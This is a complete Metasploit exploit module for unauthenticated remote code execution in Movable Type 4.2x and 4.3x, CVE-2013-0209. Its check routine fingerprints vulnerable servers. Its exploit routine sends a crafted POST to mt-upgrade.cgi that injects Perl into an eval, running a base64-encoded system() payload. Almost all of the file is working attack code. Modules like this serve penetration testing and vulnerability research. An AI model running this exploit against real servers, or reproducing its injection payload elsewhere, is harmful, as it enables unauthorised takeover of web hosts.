##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Movable Type 4.2x, 4.3x Web Upgrade Remote Code Execution',
      'Description'    => %q{
          This module can be used to execute a payload on MoveableType (MT) that
          exposes a CGI script, mt-upgrade.cgi (usually at /mt/mt-upgrade.cgi),
          that is used during installation and updating of the platform.
          The vulnerability arises due to the following properties:
          1. This script may be invoked remotely without requiring authentication
          to any MT instance.
          2. Through a crafted POST request, it is possible to invoke particular
          database migration functions (i.e. functions that bring the existing
          database up-to-date with an updated codebase) by name and with
          particular parameters.
          3. A particular migration function, core_drop_meta_for_table, allows
          a class parameter to be set which is used directly in a perl eval
          statement, allowing perl code injection.
      },
      'Author'         =>
        [
          'Kacper Nowak',
          'Nick Blundell',
          'Gary O\'Leary-Steele'
        ],
      'References'     =>
        [
          [ 'CVE', '2012-6315' ], # superseded by CVE-2013-0209 (duplicate)
          [ 'CVE', '2013-0209' ],
          [ 'OSVDB', '89322' ],
          [ 'URL', 'http://www.sec-1.com/blog/?p=402' ],
          [ 'URL', 'http://www.movabletype.org/2013/01/movable_type_438_patch.html' ]
        ],
      'Arch'		 => ARCH_CMD,
      'Payload'	 =>
        {
          'Compat' =>
            {
              'PayloadType' => 'cmd'
            }
        },
      'Platform'	 =>
        [
          'win',
          'unix'
        ],
      'Targets'	 =>
        [
          ['Movable Type 4.2x, 4.3x', {}]
        ],
      'Privileged'	 => false,
      'DisclosureDate' => '2013-01-07',
      'DefaultTarget'	 => 0))

    register_options(
      [
        OptString.new('TARGETURI', [true, 'The URI path of the Movable Type installation', '/mt'])
      ])
  end

  def check
    fingerprint = rand_text_alpha(5)
    vprint_status("Sending check...")
    begin
      res = http_send_raw(fingerprint)
    rescue Rex::ConnectionError
      return Exploit::CheckCode::Unknown
    end
    if (res)
      if (res.code == 200 and res.body =~ /Can't locate object method \\"dbi_driver\\" via package \\"#{fingerprint}\\" at/)
        return Exploit::CheckCode::Vulnerable
      elsif (res.code != 200)
        return Exploit::CheckCode::Unknown
      else
        return Exploit::CheckCode::Safe
      end
    else
      return Exploit::CheckCode::Unknown
    end
  end

  def exploit
    print_status("Sending payload...")
    http_send_cmd(payload.encoded)
  end

  def http_send_raw(cmd)
    path = normalize_uri(target_uri.path, '/mt-upgrade.cgi')
    pay = cmd.gsub('\\', '\\\\').gsub('"', '\"')
    send_request_cgi(
      {
        'uri'       => path,
        'method'    => 'POST',
        'vars_post' =>
          {
            '__mode'     => 'run_actions',
            'installing' => '1',
            'steps'      => %{[["core_drop_meta_for_table","class","#{pay}"]]}
          }
      })
  end

  def http_send_cmd(cmd)
    pay = 'v0;use MIME::Base64;system(decode_base64(q('
    pay << Rex::Text.encode_base64(cmd)
    pay << ')));return 0'
    http_send_raw(pay)
  end
end
